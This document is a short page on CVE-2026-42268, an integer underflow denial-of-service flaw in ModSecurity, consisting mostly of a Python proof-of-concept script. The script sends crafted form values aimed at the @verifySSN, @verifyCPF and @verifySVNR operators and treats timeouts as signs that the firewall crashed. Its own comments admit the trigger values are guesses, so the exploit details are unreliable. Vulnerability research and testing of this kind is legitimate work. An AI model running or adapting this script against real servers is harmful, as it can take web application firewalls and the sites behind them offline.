CVE-2026-42268 ModSecurity整数下溢致拒绝服务漏洞

# PoC for CVE-2026-42268 # This script attempts to trigger the integer underflow in ModSecurity # by targeting rules using @verifySSN, @verifyCPF, or @verifySVNR. import requests def trigger_modsecurity_dos(target_url): # The vulnerability is triggered by specific inputs that cause # unsigned integer underflow in libmodsecurity3 validation logic. # Common triggers for underflow in validation functions are empty strings # or strings of specific lengths that fail length checks. # Payloads targeting the specific operators payloads = [ {"ssn_field": ""}, # Empty string for @verifySSN {"cpf_field": "0"}, # Edge case for @verifyCPF {"svnr_field": "1"} # Edge case for @verifySVNR ] headers = { "User-Agent": "CVE-2026-42268-Test-Client", "Content-Type": "application/x-www-form-urlencoded" } print(f"[*] Attempting to trigger DoS on {target_url}") for payload in payloads: try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # If successful, the WAF might crash, resulting in no response or a backend error print(f"[+] Payload sent: {payload}") print(f" Response Status: {response.status_code}") except requests.exceptions.Timeout: print(f"[!] Timeout occurred. WAF might have crashed (DoS).") except requests.exceptions.ConnectionError: print(f"[!] Connection Error. Service likely unavailable.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:80" trigger_modsecurity_dos(target)